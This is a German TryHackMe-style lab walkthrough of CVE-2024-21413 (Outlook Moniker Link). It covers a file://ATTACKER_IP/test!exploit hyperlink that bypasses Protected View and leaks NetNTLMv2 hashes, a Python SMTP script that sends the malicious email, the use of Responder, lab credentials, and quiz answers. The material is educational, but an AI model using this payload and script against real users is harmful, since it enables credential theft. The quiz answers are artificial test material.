
Pädagogischer Exploit für CVE-2024-21413 (Moniker Link), der Outlook-RCE und NTLM-Credential-Leak über manipulierte Hyperlinks demonstriert, mit Erkennungs- und Behebungsanleitung.
Am 13. Februar 2024 gab Microsoft eine Sicherheitslücke in Microsoft Outlook bekannt, die zu Remote Code Execution (RCE) und einem Anmeldeinformationsleck führt, mit der zugewiesenen CVE-Nummer CVE-2024-21413 (Moniker Link). Haifei Li von Check Point Research wird die Entdeckung der Sicherheitslücke zugeschrieben.
Die Sicherheitslücke umgeht die Sicherheitsmechanismen von Outlook, wenn ein bestimmter Hyperlink-Typ, bekannt als Moniker Link, verarbeitet wird. Ein Angreifer kann dies ausnutzen, indem er eine E-Mail sendet, die einen bösartigen Moniker Link an ein Opfer enthält, was dazu führt, dass Outlook die NTLM-Anmeldeinformationen des Benutzers an den Angreifer sendet, sobald der Hyperlink angeklickt wird.
Details zur Bewertung der Sicherheitslücke werden in der folgenden Tabelle bereitgestellt:
CVSS Beschreibung Veröffentlichungsdatum 13. Februar 2024 MS-Artikel https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 Auswirkung Remote Code Execution & Anmeldeinformationsleck Schweregrad Kritisch Angriffskomplexität Niedrig Bewertung 9.8
Die Sicherheitslücke betrifft bekanntermaßen die folgenden Office-Versionen:
Edition Version Microsoft Office LTSC 2021 betroffen ab 19.0.0 Microsoft 365 Apps for Enterprise betroffen ab 16.0.1 Microsoft Office 2019 betroffen ab 16.0.1 Microsoft Office 2016 betroffen ab 16.0.0 vor 16.0.5435.1001
Beachten Sie, dass Sie sowohl die AttackBox als auch die verletzliche Maschine benötigen, die dieser Aufgabe zugeordnet sind. Um die zugehörige VM bereitzustellen, klicken Sie auf die grüne Schaltfläche „Start Machine" unten.
Benutzername tryhackme Passwort Kkh3gv439dnq!
Welche „Schweregrad"-Einstufung wurde der CVE zugewiesen? > ANTWORT : Kritisch
Outlook kann E-Mails als HTML rendern. Vielleicht ist Ihnen aufgefallen, dass dies von Ihren Lieblingsnewslettern verwendet wird. Darüber hinaus kann Outlook Hyperlinks wie HTTP und HTTPS parsen. Es kann jedoch auch URLs öffnen, die als Moniker Links bekannte Anwendungen angeben. Normalerweise zeigt Outlook eine Sicherheitswarnung an, wenn externe Anwendungen ausgelöst werden.
Outlooks geschützte Ansicht wird beim Starten einer externen Anwendung ausgelöst
Dieses Popup ist das Ergebnis von Outlooks "Geschützten Ansicht". Die geschützte Ansicht öffnet E-Mails mit Anhängen, Hyperlinks und ähnlichem Inhalt im schreibgeschützten Modus und blockiert Dinge wie Makros (insbesondere von außerhalb einer Organisation).
Durch die Verwendung des file:// Moniker Links in unserem Hyperlink können wir Outlook anweisen, zu versuchen, auf eine Datei zuzugreifen, z. B. auf eine Datei in einer Netzwerkfreigabe (<a href="file://ATTACKER_IP/test">Click me</a>). Das SMB-Protokoll wird verwendet, was die Verwendung lokaler Anmeldeinformationen zur Authentifizierung beinhaltet. Allerdings fängt und blockiert Outlooks „Geschützte Ansicht" diesen Versuch.
Die Sicherheitslücke besteht hier darin, unseren Hyperlink so zu ändern, dass er das Sonderzeichen ! und einen Text in unserem Moniker Link enthält, was die Umgehung von Outlooks „Geschützter Ansicht" zur Folge hat. Zum Beispiel: <a href="file://ATTACKER_IP/test!exploit">Click me</a>.
Wir als Angreifer können für den Angriff einen Moniker Link dieser Art bereitstellen. Beachten Sie, dass die Freigabe auf dem entfernten Gerät nicht vorhanden sein muss, da ein Authentifizierungsversuch unabhängig davon versucht wird, was dazu führt, dass der netNTLMv2-Hash des Opfers an den Angreifer gesendet wird.
Remote Code Execution (RCE) ist möglich, da Moniker Links das Component Object Model (COM) unter Windows verwenden. Die Erklärung hierfür liegt jedoch derzeit außerhalb des Rahmens dieses Raums, da es kein öffentlich veröffentlichtes Proof-of-Concept für die Erzielung von RCE über diese spezifische CVE gibt.
Welchen Moniker-Link-Typ verwenden wir im Hyperlink? > ANTWORT : file:// Welches Sonderzeichen wird verwendet, um Outlooks „Geschützte Ansicht" zu umgehen? > ANTWORT : !
Für diesen Angriff senden wir unserem Opfer eine E-Mail mit einem Moniker Link ähnlich dem in der vorherigen Aufgabe. Das Ziel als Angreifer ist es, eine E-Mail an das Opfer mit einem Moniker Link zu erstellen, der Outlooks „Geschützte Ansicht" umgeht, wobei der Client des Opfers versucht, eine Datei von unserem Angriffsrechner zu laden, was dazu führt, dass der netNTLMv2-Hash des Opfers erfasst wird.
Aber zuerst gehen wir einen PoC durch, den ich erstellt habe (der auch auf GitHub verfügbar ist).
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 19/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = '[email protected]' # Replace with your sender email address receiver_email = '[email protected]' # Replace with the recipient email address password = input("Enter your attacker email password: ") html_content = """\ """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email # Convert the HTML string into bytes and attach it to the message object msgHtml = MIMEText(html_content,'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
Der PoC:
Lasst uns Responder verwenden, um einen SMB-Listener auf unserem Angriffsrechner zu erstellen. Für die THM AttackBox lautet die Schnittstelle -I ens5. Der Schnittstellenname unterscheidet sich, wenn Sie Ihr eigenes Gerät (z. B. Kali) verwenden. Wenn Sie Hausaufgaben machen möchten, kann auch ein Impacket-Server verwendet werden.
Starten von Responder auf unserer AttackBox